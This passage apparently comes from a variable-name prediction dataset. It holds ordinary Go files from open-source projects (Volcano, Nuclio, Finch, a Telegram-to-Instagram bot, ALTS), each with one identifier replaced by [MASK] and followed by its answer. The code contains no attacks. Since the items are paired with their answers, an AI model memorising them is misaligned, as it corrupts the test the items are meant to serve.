a.authentication.Secret, a.authentication.Username, a.authentication.Password) if err != nil { return nil, err } a.authentication.AccessToken = ar.AccessToken a.authentication.RefreshToken = ar.RefreshToken } headers[""Authorization""] = fmt.Sprintf(""Bearer %s"", a.authentication.AccessToken) res, err := a.httpClient.SendRequest( [MASK] , uri, headers, body) if err != nil { return nil, err } if res.StatusCode == http.StatusUnauthorized { ar, err := a.renewTokens() if err != nil { return nil, err } a.authentication.AccessToken = ar.AccessToken a.authentication.RefreshToken = ar.RefreshToken headers[""Authorization""] = fmt.Sprintf(""Bearer %s"", a.authentication.AccessToken) res, err = a.httpClient.SendRequest( [MASK] , uri, headers, body) if err != nil { return nil, err } } return res, nil } func (a AuthenticatedHttpClient) renewTokens() (api.AuthenticationResponse, error) { return a.authenticationApi.AuthenticateByRefreshToken(a.authentication.ClientId, a.authentication.Secret, a.authentication.RefreshToken) } ",method 142,"/* Copyright 2021 The Volcano Authors. Licensed under the Apache License, Version 2.0 (the ""License""); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an ""AS IS"" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package numatopo import ( ""io/ioutil"" ""reflect"" ""sigs.k8s.io/yaml"" v1 ""k8s.io/api/core/v1"" ""k8s.io/klog"" kubeletconfigv1beta1 ""k8s.io/kubelet/config/v1beta1"" ""volcano.sh/apis/pkg/apis/nodeinfo/v1alpha1"" ) type kubeletConfig struct { topoPolicy map[v1alpha1.PolicyName]string resReserved map[string]string } var config = &kubeletConfig{ topoPolicy: make(map[v1alpha1.PolicyName]string), resReserved: make(map[string]string), } // GetPolicy return the topology manager policy on kubelet func GetPolicy() map[v1alpha1.PolicyName]string { return config.topoPolicy } // GetResReserved return the reserved info about all resource func GetResReserved() map[string]string { return config.resReserved } // GetKubeletConfigFromLocalFile get kubelet configuration from kubelet config file func GetKubeletConfigFromLocalFile(kubeletConfigPath string) (*kubeletconfigv1beta1.KubeletConfiguration, error) { kubeletBytes, err := ioutil.ReadFile(kubeletConfigPath) if err != nil { return nil, err } kubeletConfig := &kubeletconfigv1beta1.KubeletConfiguration{} if err := yaml.Unmarshal(kubeletBytes, kubeletConfig); err != nil { return nil, err } return kubeletConfig, nil } // GetkubeletConfig get kubelet configuration from kubelet config file func GetkubeletConfig(confPath string, resReserved map[string]string) bool { [MASK] , err := GetKubeletConfigFromLocalFile(confPath) if err != nil { klog.Errorf(""Get topology Manager Policy failed, err: %v"", err) return false } var isChange bool = false policy := make(map[v1alpha1.PolicyName]string) policy[v1alpha1.CPUManagerPolicy] = [MASK] .CPUManagerPolicy policy[v1alpha1.TopologyManagerPolicy] = [MASK] .TopologyManagerPolicy if !reflect.DeepEqual(config.topoPolicy, policy) { for key := range config.topoPolicy { config.topoPolicy[key] = policy[key] } isChange = true } var cpuReserved string if _, ok := resReserved[string(v1.ResourceCPU)]; ok { cpuReserved = resReserved[string(v1.ResourceCPU)] } else { cpuReserved = [MASK] .KubeReserved[string(v1.ResourceCPU)] } if config.resReserved[string(v1.ResourceCPU)] != cpuReserved { config.resReserved[string(v1.ResourceCPU)] = cpuReserved isChange = true } return isChange } func init() { config.topoPolicy[v1alpha1.CPUManagerPolicy] = ""none"" config.topoPolicy[v1alpha1.TopologyManagerPolicy] = ""none"" } ",klConfig 143,"package api import ( ""encoding/json"" ""fmt"" ""os"" ""reflect"" ""github.com/gogf/gf/v2/errors/gcode"" ""github.com/gogf/gf/v2/frame/g"" ""github.com/gogf/gf/v2/text/gstr"" ) type CommonRes struct { g.Meta `mime:""application/json""` Code int `json:""code"" des:""Status Code""` Message string `json:""message"" des:""Status Message""` Data interface{} `json:""data""` } type ResponseStatusExample interface { GenerateJsonFile() (string, error) } func GenerateJsonFile(res ResponseStatusExample, errList map[int][]gcode.Code) ( [MASK] string, err error) { for status, codes := range errList { examples := make([]CommonRes, 0) for _, code := range codes { example := CommonRes{ Code: code.Code(), Message: code.Message(), Data: nil, } examples = append(examples, example) } jsonData, err := json.Marshal(examples) if err != nil { return """", err } // get original type name resName := GetResponseName(res) [MASK] := ""./resource/openapi/"" + resName if _, err := os.Stat( [MASK] ); os.IsNotExist(err) { os.MkdirAll( [MASK] , 0755) } os.WriteFile(fmt.Sprintf(""%s/%d.json"", [MASK] , status), jsonData, 0755) } return """", nil } func GetResponseName(res ResponseStatusExample) string { t := reflect.TypeOf(res) var realType reflect.Value if t.Kind() == reflect.Ptr { realType = reflect.New(t.Elem()).Elem() } else { realType = reflect.New(t).Elem() } var ( pkgPath string schemaName = gstr.TrimLeft(realType.Type().String(), ""*"") ) // Pointer type has no PkgPath. for realType.Type().Kind() == reflect.Ptr { realType = realType.Elem() } if pkgPath = realType.Type().PkgPath(); pkgPath != """" && pkgPath != ""."" { schemaName = gstr.Replace(pkgPath, `/`, `.`) + gstr.SubStrFrom(schemaName, ""."") } schemaName = gstr.ReplaceByMap(schemaName, map[string]string{ ` `: ``, `{`: ``, `}`: ``, }) return schemaName } ",path 144,"package logger import ( ""os"" ""github.com/fluent/fluent-logger-golang/fluent"" ) var ( host = ""localhost"" logger, _ = fluent.New(fluent.Config{FluentPort: 8006, FluentHost: host}) serviceName = ""default-service"" accessToken = """" serverless = ""0"" ) func InitLogger(ServiceName string, AccessToken string, [MASK] string, isServerless string) { serviceName = ServiceName accessToken = AccessToken serverless = isServerless host = [MASK] target := getEnv(""MW_AGENT_SERVICE"", host) logger, _ = fluent.New(fluent.Config{FluentPort: 8006, FluentHost: target}) } func getEnv(key, defaultValue string) string { value := os.Getenv(key) if len(value) == 0 { return defaultValue } return value } func Post(message string, level string) { var data = map[string]string{ ""level"": level, ""message"": message, ""service.name"": serviceName, ""mw.account_key"": accessToken, ""mw_serverless"": serverless, } go logger.Post(serviceName, data) } func Error(message string) { go Post(message, ""error"") } func Info(message string) { go Post(message, ""info"") } func Warn(message string) { go Post(message, ""warn"") } func Debug(message string) { go Post(message, ""debug"") } ",fluentHost 145,"/* Copyright 2017 The Nuclio Authors. Licensed under the Apache License, Version 2.0 (the ""License""); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an ""AS IS"" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package nuclio import ( ""errors"" ""fmt"" ""net/http"" ""testing"" ) func TestNew(t *testing.T) { message := ""the world is square"" err := NewErrConflict(message) if err.Error() != message { t.Fatalf(""Bad message: %q != %q"", message, err.Error()) } [MASK] , ok := err.(WithStatusCode) if !ok { t.Fatalf(""Not a WithStatusCode error"") } if [MASK] .StatusCode() != http.StatusConflict { t.Fatalf(""Bad status: %d != %d"", [MASK] .StatusCode(), http.StatusConflict) } } func TestGetByStatusCode(t *testing.T) { err := GetByStatusCode(http.StatusCreated)(""something"") if err == nil { t.Fatalf(""nil error"") } if err.(WithStatusCode).StatusCode() != http.StatusCreated { t.Fatalf(""unexpected status code "") } } func TestGetWrapByStatusCode(t *testing.T) { err := GetWrapByStatusCode(http.StatusCreated)(errors.New(""something bad happened"")) if err == nil { t.Fatalf(""nil error"") } if err.(WithStatusCode).StatusCode() != http.StatusCreated { t.Fatalf(""unexpected status code "") } } func TestInterface(t *testing.T) { // Check that WithStatusCode implements error interface var err error = NewErrNotFound(""missing page"") if err == nil { t.Fatal(""nil error"") } } func ExampleErrNotFound() { fmt.Print(ErrNotFound.Error()) // Output: // Not Found } ",wst 146,"package main import ( ""os"" ""io"" ""io/ioutil"" ""fmt"" ""bytes"" ""net/url"" ""net/http"" ""strings"" ""context"" ""mime/multipart"" ""encoding/json"" ""math/rand"" ""time"" ""github.com/ahmdrz/goinsta"" ""github.com/ahmdrz/goinsta/response"" vision ""cloud.google.com/go/vision/apiv1"" ""gopkg.in/telegram-bot-api.v4"" ) func main() { startTelegramBotServer() } func getFileAndUpload(uri string, bot * tgbotapi.BotAPI, update tgbotapi.Update) response.UploadPhotoResponse { insta := loginInstagram() bot.Send(tgbotapi.NewMessage(update.Message.Chat.ID, ""ℹ️ logged in to Instagram"")) resp := getPhoto(uri) bot.Send(tgbotapi.NewMessage(update.Message.Chat.ID, fmt.Sprintf(""ℹ️ got photo from uri: %s"", uri))) // TODO parse and use geotags from photo photoCaption := getCaption(resp) bot.Send(tgbotapi.NewMessage(update.Message.Chat.ID, fmt.Sprintf(""ℹ️ raw photo caption: %s"", photoCaption))) captionEmoji := getEmoji(photoCaption) bot.Send(tgbotapi.NewMessage(update.Message.Chat.ID, fmt.Sprintf(""ℹ️ got some emojis from caption: %s"", captionEmoji))) photoHashtags := getHashtags(resp) bot.Send(tgbotapi.NewMessage(update.Message.Chat.ID, fmt.Sprintf(""ℹ️ synthesized hashtags: %s"", photoHashtags))) finalCaption := mergeCaptions(photoCaption, captionEmoji, photoHashtags) bot.Send(tgbotapi.NewMessage(update.Message.Chat.ID, fmt.Sprintf(""ℹ️ the final caption would be like: %s"", finalCaption))) filter := randomFilter() bot.Send(tgbotapi.NewMessage(update.Message.Chat.ID, fmt.Sprintf(""ℹ️ picked up filter: %s"", filter))) styledPhoto := stylize(resp, filter) bot.Send(tgbotapi.NewMessage(update.Message.Chat.ID, fmt.Sprintf(""ℹ️ applied style transfer""))) uploadPhotoResponse := upload(insta, styledPhoto.Body, finalCaption) bot.Send(tgbotapi.NewMessage(update.Message.Chat.ID, fmt.Sprintf(""ℹ️ uploaded to Instagram""))) disableComments(insta, uploadPhotoResponse) bot.Send(tgbotapi.NewMessage(update.Message.Chat.ID, fmt.Sprintf(""ℹ️ disabled comments""))) defer styledPhoto.Body.Close() defer resp.Body.Close() defer insta.Logout() bot.Send(tgbotapi.NewMessage(update.Message.Chat.ID, fmt.Sprintf(""ℹ️ logged out from Instagram""))) return uploadPhotoResponse } func getEmoji(text string) string { emojiApiUrl := os.Getenv(""EMOJI_API_URL"") if len(emojiApiUrl) == 0 { panic(""Please provide a valid emoji api url"") } reqUrl := emojiApiUrl + ""?text="" + url.QueryEscape(text) res, err := http.Get(reqUrl) if err != nil || res.StatusCode != 200 { panic(fmt.Sprintf(""Error while doing a request: %s, %s"", err, res)) } emojis, err := ioutil.ReadAll(res.Body) if err != nil { panic(fmt.Sprintf(""Couldn't read response: %s"", err)) } return string(emojis) } func mergeCaptions(caption string, emoji string, hashtags string) string { return caption + emoji + ""\n.\n.\n.\n"" + hashtags } func getCaption(resp * http.Response) string { captionApiUrl := os.Getenv(""CAPTION_API_URL"") captionApiKey := os.Getenv(""CAPTION_API_KEY"") if len(captionApiUrl) * len(captionApiKey) == 0 { panic(fmt.Sprintf(""Please provide caption api url '%s' and key '%s'"", captionApiUrl, captionApiKey)) } b := bytes.NewBuffer(make([]byte, 0)) // temporary buffer photo := io.TeeReader(resp.Body, b) // returns a reader that writes contents of resp.Body to b var postData bytes.Buffer w := multipart.NewWriter(&postData) fw, err := w.CreateFormFile(""image"", ""file.jpg"") if err != nil { panic(fmt.Sprintf(""Couldn't create form file %s"", err)) } if _, err = io.Copy(fw, photo); err != nil { panic(fmt.Sprintf(""Couldn't copy file to form dest %s"", err)) } w.Close() // So the terminating boundary would be there in place req, err := http.NewRequest(""POST"", captionApiUrl, &postData) if err != nil { panic(fmt.Sprintf(""Couldn't create a new http request"")) } // setting correct headers to calculate the post body boundary req.Header.Set(""Content-Type"", w.FormDataContentType()) req.Header.Set(""Api-Key"", captionApiKey) client := &http.Client{} res, err := client.Do(req) if err != nil { panic(fmt.Sprintf(""Error while doing a request %s: %s"", req, res)) } type CaptionApiResponse struct { Output string Job_id int } var captionResponse CaptionApiResponse err = json.NewDecoder(res.Body).Decode(&captionResponse) if err != nil { panic(fmt.Sprintf(""Couldn't parse json response %s"", err)) } defer resp.Body.Close() // we're done w/ resp.Body resp.Body = ioutil.NopCloser(b) // returns a ReadCloser w/ no-op Close return captionResponse.Output } func randomFilter() string { /* TODO select style filter based on some scoring for example take this approach from MIT MemNet: http://memorability.csail.mit.edu/download.html */ rand.Seed(time.Now().Unix()) filters := []string{ ""la_muse"", ""rain_princess"", ""scream"", ""udnie"", ""wave"", ""wreck"", ""dora_marr"", } i := rand.Int() % len(filters) return filters[i] } func stylize(resp * http.Response, filter string) * http.Response { styleApiUri := os.Getenv(""STYLE_SERVER_URL"") if len(styleApiUri) == 0 { panic(""Please provide style API uri"") } var postData bytes.Buffer w := multipart.NewWriter(&postData) fw, err := w.CreateFormFile(""file"", ""file.jpg"") if err != nil { panic(fmt.Sprintf(""Couldn't create form file %s"", err)) } if _, err = io.Copy(fw, resp.Body); err != nil { panic(fmt.Sprintf(""Couldn't copy file to form dest %s"", err)) } if fw, err = w.CreateFormField(""filter""); err != nil { panic(fmt.Sprintf(""Couldn't create a filter field on form data"", err)) } if _, err = fw.Write([]byte(filter)); err != nil { panic(fmt.Sprintf(""Couldn't write filter to field on form data"", err)) } w.Close() // So the terminating boundary would be there in place req, err := http.NewRequest(""POST"", styleApiUri, &postData) if err != nil { panic(fmt.Sprintf(""Couldn't create a new http request"")) } // setting correct headers to calculate the post body boundary req.Header.Set(""Content-Type"", w.FormDataContentType()) client := &http.Client{} res, err := client.Do(req) if err != nil { panic(fmt.Sprintf(""Error while doing a request %s: %s"", req, res)) } return res } func startTelegramBotServer() * tgbotapi.BotAPI { botToken := os.Getenv(""TELEGRAM_BOT_TOKEN"") botDebug := os.Getenv(""DEBUG_TELEGRAM_BOT"") if len(botToken) == 0 { panic(""Please provide a valid Telegram Bot token"") } bot, err := tgbotapi.NewBotAPI(botToken) if err != nil { panic(fmt.Sprintf(""Couldn't create Telegram bot using token '%s': %s"", botToken, err)) } bot.Debug = bool(len(botDebug) != 0) webhookEnabled := os.Getenv(""WEBHOOK_MODE"") if len(webhookEnabled) != 0 { setWebhook(bot) } else { longPollUpdates(bot) } return bot } func longPollUpdates(bot * tgbotapi.BotAPI) { u := tgbotapi.NewUpdate(0) // get last updates from offset 0 u.Timeout = 60 updates, err := bot.GetUpdatesChan(u) if err != nil { panic(fmt.Sprintf(""Couldn't get updates from chan %s: %s"", u, err)) } for update := range updates { handleUpdate(bot, update) } } func setWebhook(bot * tgbotapi.BotAPI) { // TODO this needs to be battle-tested! webhookUrl := os.Getenv(""SERVER_BASE_URL"") certfile := os.Getenv(""CERT_FILE"") if len(webhookUrl) * len(certfile) == 0 { panic(fmt.Sprintf(""Please provide valid webhook url '%s' and certfile '%s'"", webhookUrl, certfile)) } _, err := bot.SetWebhook(tgbotapi.NewWebhookWithCert(webhookUrl, certfile)) if err != nil { panic(fmt.Sprintf(""Unable to set webhook url '%s' for bot: %s"", webhookUrl, err)) } updates := bot.ListenForWebhook(""/"") keyfile := os.Getenv(""KEY_FILE"") if len(keyfile) == 0 { panic(""Please provide valid keyfile"") } go http.ListenAndServeTLS(""0.0.0.0:8433"", certfile, keyfile, nil) for update := range updates { handleUpdate(bot, update) } } func handleUpdate(bot * tgbotapi.BotAPI, update tgbotapi.Update) { photos := * update.Message.Photo lastPhoto := photos[len(photos) -1] // get the biggest possible photo size photoId := lastPhoto.FileID photo, err := bot.GetFile(tgbotapi.FileConfig{FileID: photoId}) if err != nil { panic(fmt.Sprintf(""Couldn't get file url by id '%s': %s"", photoId, err)) } photoUrl := ""https://api.telegram.org/file/bot"" + bot.Token + ""/"" + photo.FilePath uploadPhotoResponse := getFileAndUpload(photoUrl, bot, update) responseMessage := fmt.Sprintf(""✅ Upload status: %s"", uploadPhotoResponse.Status) [MASK] := tgbotapi.NewMessage(update.Message.Chat.ID, responseMessage) bot.Send( [MASK] ) } func disableComments(insta *goinsta.Instagram, uploadPhotoResponse response.UploadPhotoResponse) { _, err := insta.DisableComments(uploadPhotoResponse.Media.ID) if err != nil { panic(fmt.Sprintf(""Error trying to disable comments for mediaId %s: %s"", uploadPhotoResponse.Media.ID, err)) } } func getHashtags(resp * http.Response) string { ctx := context.Background() client, err := vision.NewImageAnnotatorClient(ctx) if err != nil { panic(fmt.Sprintf(""Couldn't start Google Vision Image Annotator Client: %s"", err)) } b := bytes.NewBuffer(make([]byte, 0)) // temporary buffer photo := io.TeeReader(resp.Body, b) // returns a reader that writes contents of resp.Body to b image, err := vision.NewImageFromReader(photo) if err != nil { panic(fmt.Sprintf(""Couldn't read photo: %s"", err)) } defer resp.Body.Close() // we're done w/ resp.Body resp.Body = ioutil.NopCloser(b) // returns a ReadCloser w/ no-op Close labels, err := client.DetectLabels(ctx, image, nil, 10) if err != nil { panic(fmt.Sprintf(""Couldn't detect image labels: %s"", err)) } defer ctx.Done() res := """" for _, label := range labels { descr := label.Description res += ""#"" res += strings.Replace(descr, "" "", ""_"", -1) res += "" "" } return res } func getPhoto(uri string) * http.Response { if len(uri) == 0 { panic(""Please provide a photo url."") } parsed, err := url.Parse(uri) if parsed.Host == """" || err != nil { panic(fmt.Sprintf(""Incorrect photo url provided: %s"", uri)) } resp, err := http.Get(uri) if err != nil { panic(fmt.Sprintf(""Could not get the photo by %s"", uri)) } return resp } func loginInstagram() * goinsta.Instagram { username := os.Getenv(""INSTAGRAM_USERNAME"") password := os.Getenv(""INSTAGRAM_PASSWORD"") if len(username) * len(password) == 0 { panic(""No Instagram username and/or password provided."") } insta := goinsta.New(username, password) if err := insta.Login(); err != nil { panic(err) } return insta } func upload(insta * goinsta.Instagram, photo io.ReadCloser, caption string) response.UploadPhotoResponse { quality := 87 uploadId := insta.NewUploadID() filterType := goinsta.Filter_Valencia uploadPhotoResponse, err := insta.UploadPhotoFromReader(photo, caption, uploadId, quality, filterType) if err != nil { panic(fmt.Sprintf(""Couldn't upload photo to instagram: %s"", err)) } return uploadPhotoResponse }",msg 147,"package abstractor import ( ""strings"" ""github.com/pingcap/tidb/parser/ast"" ""github.com/pingcap/tidb/parser/format"" ""github.com/tkuchiki/slp/mysql/visitor"" ) type MySQLAbstractor struct { v *visitor.Visitor restoreFlags format.RestoreFlags } func NewMySQLAbstractor(bundleWhereIn, bundleInsertValues bool) *MySQLAbstractor { return &MySQLAbstractor{ v: visitor.NewVisitor(bundleWhereIn, bundleInsertValues), restoreFlags: format.RestoreNameBackQuotes | format.RestoreSpacesAroundBinaryOperation, } } func (a *MySQLAbstractor) Abstract( [MASK] *ast.StmtNode) (string, error) { (* [MASK] ).Accept(a.v) var sb strings.Builder restoreCtx := format.NewRestoreCtx(a.restoreFlags, &sb) err := (* [MASK] ).Restore(restoreCtx) if err != nil { return """", err } return sb.String(), nil } ",rootNode 148,"package rank import ( ""bufio"" ""fmt"" ""os"" ""github.com/manifoldco/promptui"" ) var scanner = bufio.NewScanner(os.Stdin) func readline() string { if !scanner.Scan() { return """" } return scanner.Text() } func check(err error) { if err != nil { fmt.Fprintf(os.Stderr, ""Error: %v"", err) os.Exit(1) } } func LessPrompt(a, b string) bool { p := promptui.Select{Label: ""Which ranks higher"", Items: []string{a, b}} [MASK] , _, err := p.Run() check(err) return [MASK] == 0 } func BinaryInsertionSort(a []string, less func(a, b string) bool) { var hi, lo int for i := 1; i < len(a); i++ { lo = 0 hi = i m := i / 2 for { if less(a[i], a[m]) { hi = m } else { lo = m + 1 } m = lo + ((hi - lo) / 2) if lo >= hi { break } } if m < i { tmp := a[i] copy(a[m+1:], a[m:i]) a[m] = tmp } } } ",choice 149,"package main import ( ""bytes"" ""flag"" ""io"" ""log"" ""net/http"" ""os"" ""strings"" ""sync"" ""time"" ""github.com/toqueteos/webbrowser"" ) var ( doc *document lock sync.RWMutex documentPath = flag.String(""f"", ""api-spec.yaml"", ""the full path to the document being edited"") backendPort = flag.String(""p"", ""8765"", ""port for editor's http backend"") editorPath = flag.String(""se"", ""builtin"", ""the full path to swagger-editor installation"") ) type document struct { sync.RWMutex path string saved bool buf *bytes.Buffer } func init() { flag.Parse() doc = &document{ buf: &bytes.Buffer{}, path: *documentPath, } go doc.doSync() } func (doc *document) doSync() { err := doc.open() if err != nil { log.Println(err) return } [MASK] := time.NewTicker(2 * time.Second).C for { select { case <- [MASK] : if !doc.saved { doc.save() } } } } func (doc *document) open() error { doc.Lock() f, err := os.Open(doc.path) if err != nil { if os.IsNotExist(err) { f, err = os.Create(doc.path) } if err != nil { return err } } defer f.Close() defer doc.Unlock() io.Copy(doc.buf, f) return nil } func (doc *document) save() error { doc.RLock() f, err := os.Create(doc.path) if err != nil { return err } defer f.Close() n, err := f.Write(doc.buf.Bytes()) if err != nil { return err } doc.saved = true doc.RUnlock() log.Printf(""%v bytes saved\n"", n) return nil } func handleBackend(w http.ResponseWriter, r *http.Request) { switch r.Method { case http.MethodGet: doc.RLock() _, err := w.Write(doc.buf.Bytes()) if err != nil { log.Println(err) } doc.RUnlock() case http.MethodPut: doc.Lock() doc.buf.Reset() _, err := io.Copy(doc.buf, r.Body) if err != nil { log.Println(err) } doc.saved = false doc.Unlock() } } func handleApp(w http.ResponseWriter, r *http.Request) { path := r.URL.Path if path == ""/"" { path = ""/index.html"" } data, err := Asset(""swagger-editor"" + path) if err != nil { log.Println(path) http.Error(w, ""resource not found""+path, http.StatusNotFound) } contentType := http.DetectContentType(data) w.Header().Set(""Content-Type"", contentType) if strings.HasSuffix(path, "".js"") { w.Header().Set(""Content-Type"", ""application/javascript"") } if strings.HasSuffix(path, "".css"") { w.Header().Set(""Content-Type"", ""text/css"") } w.Write(data) } func main() { webbrowser.Open(""http://localhost:"" + *backendPort) http.HandleFunc(""/backend"", handleBackend) if *editorPath == ""builtin"" { http.HandleFunc(""/"", handleApp) } else { http.Handle(""/"", http.FileServer(http.Dir(*editorPath))) } http.ListenAndServe("":8765"", nil) } ",tick 150,"package bufferPool import ( ""io"" lowlevelfunctions ""github.com/NikoMalik/low-level-functions"" ) const bufferSize = 8192 var poolbuf = GetPool(bufferSize) type Buffer struct { buf []byte start int end int size int } func New() *Buffer { buf := poolbuf.Get().([]byte) if cap(buf) >= bufferSize { buf = buf[:bufferSize] } else { buf = make([]byte, bufferSize) } return &Buffer{ buf: buf, } } func (b *Buffer) Release() { if b == nil { return } b.buf = nil b.Reset() if cap(b.buf) == bufferSize { poolbuf.Put(&b.buf) } } func (b *Buffer) Len() int { return b.end - b.start } func (b *Buffer) Cap() int { return cap(b.buf) } func (b *Buffer) Reset() { b.start = 0 b.end = 0 b.size = 0 } func (b *Buffer) Byte(idx int) byte { return b.buf[b.start+idx] } func (b *Buffer) Bytes() []byte { return b.buf[b.start:b.end] } func (b *Buffer) String() string { return lowlevelfunctions.String(b.buf[b.start:b.end]) } func (b *Buffer) WriteByte(c byte) error { b.buf[b.end] = c b.end++ return nil } func (b *Buffer) WriteString(s string) (int, error) { nBytes := copy(b.buf[b.end:], s) b.end += nBytes return nBytes, nil } func (b *Buffer) grow(n int) { buf := lowlevelfunctions.MakeNoZero(2*cap(b.buf) + n)[:len(b.buf)] copy(buf, b.buf) b.buf = buf } func (b *Buffer) Grow(n int) { // Check if n is negative if n < 0 { // Panic with the message ""fast.Buffer.Grow: negative count"" panic(""fast.Buffer.Grow: negative count"") } if cap(b.buf)-len(b.buf) < n { b.grow(n) } } func (b *Buffer) Write(p []byte) (int, error) { if len(p) > cap(b.buf)-b.end { b.grow(len(p)) } n := copy(b.buf[b.end:], p) b.end += n return n, nil } func (b *Buffer) ReadByte() (byte, error) { if b.start == b.end { return 0, io.EOF } nb := b.buf[b.start] b.start++ return nb, nil } func (b *Buffer) Read(data []byte) (int, error) { if b.Len() == 0 { return 0, io.EOF } nBytes := copy(data, b.buf[b.start:b.end]) if nBytes == b.Len() { b.Reset() } else { b.start += nBytes } return nBytes, nil } func (b *Buffer) ReadFrom(reader io.Reader) (int64, error) { if b.IsFull() { b.grow(1) } n, err := reader.Read(b.buf[b.end:]) b.end += n return int64(n), err } func (b *Buffer) IsEmpty() bool { return b.Len() == 0 } func (b *Buffer) ReadFullFrom(reader io.Reader, size int) (int, error) { if b.Cap() < size { b.grow(size) } n, err := reader.Read(b.buf[b.end : b.end+size]) b.end += n return n, err } func (b *Buffer) WriteTo( [MASK] io.Writer) (int, error) { return [MASK] .Write(b.buf[b.start:b.end]) } func (b *Buffer) IsFull() bool { return b.Cap() == b.Len() } ",writer 151,"// Copyright Amazon.com, Inc. or its affiliates. All Rights Reserved. // SPDX-License-Identifier: Apache-2.0 // Package main denotes the entry point of finch CLI. package main import ( ""fmt"" ""io"" ""os"" ""github.com/spf13/afero"" ""github.com/spf13/cobra"" ""github.com/runfinch/finch/pkg/command"" ""github.com/runfinch/finch/pkg/config"" ""github.com/runfinch/finch/pkg/flog"" ""github.com/runfinch/finch/pkg/fmemory"" ""github.com/runfinch/finch/pkg/lima/wrapper"" ""github.com/runfinch/finch/pkg/path"" ""github.com/runfinch/finch/pkg/support"" ""github.com/runfinch/finch/pkg/system"" ""github.com/runfinch/finch/pkg/version"" ) const finchRootCmd = ""finch"" func main() { logger := flog.NewLogrus() stdLib := system.NewStdLib() fs := afero.NewOsFs() mem := fmemory.NewMemory() stdOut := os.Stdout if err := xmain(logger, stdLib, fs, stdLib, mem, stdOut); err != nil { logger.Fatal(err) } } func xmain(logger flog.Logger, ffd path.FinchFinderDeps, fs afero.Fs, loadCfgDeps config.LoadSystemDeps, mem fmemory.Memory, stdOut io.Writer, ) error { fp, err := path.FindFinch(ffd) if err != nil { return fmt.Errorf(""failed to find the installation path of Finch: %w"", err) } home, err := ffd.GetUserHome() if err != nil { return fmt.Errorf(""failed to get user home directory: %w"", err) } finchRootPath, err := fp.FinchRootDir(ffd) if err != nil { return fmt.Errorf(""failed to get finch root path: %w"", err) } ecc := command.NewExecCmdCreator() fc, err := config.Load( fs, fp.ConfigFilePath(finchRootPath), logger, loadCfgDeps, mem, ecc, ) if err != nil { return fmt.Errorf(""failed to load config: %w"", err) } return newApp( logger, fp, fs, fc, stdOut, home, finchRootPath, ecc, ).Execute() } var newApp = func( logger flog.Logger, fp path.Finch, fs afero.Fs, fc *config.Finch, stdOut io.Writer, home, finchRootPath string, ecc command.Creator, ) *cobra.Command { usage := fmt.Sprintf(""%v "", finchRootCmd) rootCmd := &cobra.Command{ Use: usage, Short: ""Finch: open-source container development tool"", SilenceUsage: true, SilenceErrors: true, Version: version.Version, } // TODO: Decide when to forward --debug to the dependencies // (e.g. nerdctl for container commands and limactl for VM commands). rootCmd.PersistentFlags().Bool(""debug"", false, ""running under debug mode"") rootCmd.PersistentPreRunE = func(cmd *cobra.Command, _ []string) error { // running commands under debug mode will print out debug logs [MASK] , _ := cmd.Flags().GetBool(""debug"") if [MASK] { logger.SetLevel(flog.Debug) } return nil } lcc := command.NewLimaCmdCreator(ecc, logger, fp.LimaHomePath(), fp.LimactlPath(), fp.QEMUBinDir(), system.NewStdLib(), ) lima := wrapper.NewLimaWrapper() supportBundleBuilder := support.NewBundleBuilder( logger, fs, support.NewBundleConfig(fp, finchRootPath), fp, ecc, lcc, lima, ) // append nerdctl commands allCommands := initializeNerdctlCommands(lcc, ecc, logger, fs, fc) // append finch specific commands allCommands = append(allCommands, newVersionCommand(lcc, logger, stdOut), virtualMachineCommands(logger, fp, lcc, ecc, fs, fc, home, finchRootPath), newSupportBundleCommand(logger, supportBundleBuilder, lcc), newGenDocsCommand(rootCmd, logger, fs, system.NewStdLib()), ) rootCmd.AddCommand(allCommands...) return rootCmd } func initializeNerdctlCommands( lcc command.LimaCmdCreator, ecc command.Creator, logger flog.Logger, fs afero.Fs, fc *config.Finch, ) []*cobra.Command { nerdctlCommandCreator := newNerdctlCommandCreator(lcc, ecc, system.NewStdLib(), logger, fs, fc) var allNerdctlCommands []*cobra.Command for cmdName, cmdDescription := range nerdctlCmds { allNerdctlCommands = append(allNerdctlCommands, nerdctlCommandCreator.create(cmdName, cmdDescription)) } return allNerdctlCommands } ",debugMode 152,"package alts import ( ""context"" ""errors"" ""fmt"" ""github.com/coffeehc/base/log"" ""github.com/coffeehc/boot/component/grpcx/alts/altsproto"" ""github.com/coffeehc/boot/component/grpcx/alts/internal/commons"" ""github.com/coffeehc/boot/component/grpcx/alts/internal/service"" ""go.uber.org/zap"" ""google.golang.org/grpc/credentials"" ""google.golang.org/grpc/grpclog"" ""net"" ""time"" ) const ( // hypervisorHandshakerServiceAddress represents the default ALTS gRPC // handshaker service address in the hypervisor. //hypervisorHandshakerServiceAddress = ""dns:///metadata.google.internal.:8080"" // defaultTimeout specifies the server handshake timeout. defaultTimeout = 60.0 * time.Second // The following constants specify the minimum and maximum acceptable // protocol versions. protocolVersionMaxMajor = 2 protocolVersionMaxMinor = 1 protocolVersionMinMajor = 2 protocolVersionMinMinor = 1 ) var ( maxRPCVersion = &altsproto.RpcProtocolVersions_Version{ Major: protocolVersionMaxMajor, Minor: protocolVersionMaxMinor, } minRPCVersion = &altsproto.RpcProtocolVersions_Version{ Major: protocolVersionMinMajor, Minor: protocolVersionMinMinor, } // ErrUntrustedPlatform is returned from ClientHandshake and // ServerHandshake is running on a platform where the trustworthiness of // the handshaker service is not guaranteed. ErrUntrustedPlatform = errors.New(""ALTS: untrusted platform. ALTS is only supported on GCP"") logger = grpclog.Component(""alts"") ) // AuthInfo exposes security information from the ALTS handshake to the // application. This interface is to be implemented by ALTS. Users should not // need a brand new implementation of this interface. For situations like // testing, any new implementation should embed this interface. This allows // ALTS to add new methods to this interface. type AuthInfo interface { // ApplicationProtocol returns application protocol negotiated for the // ALTS connection. ApplicationProtocol() string // RecordProtocol returns the record protocol negotiated for the ALTS // connection. RecordProtocol() string // SecurityLevel returns the security level of the created ALTS secure // channel. SecurityLevel() altsproto.SecurityLevel // PeerServiceAccount returns the peer service account. PeerServiceAccount() string // LocalServiceAccount returns the 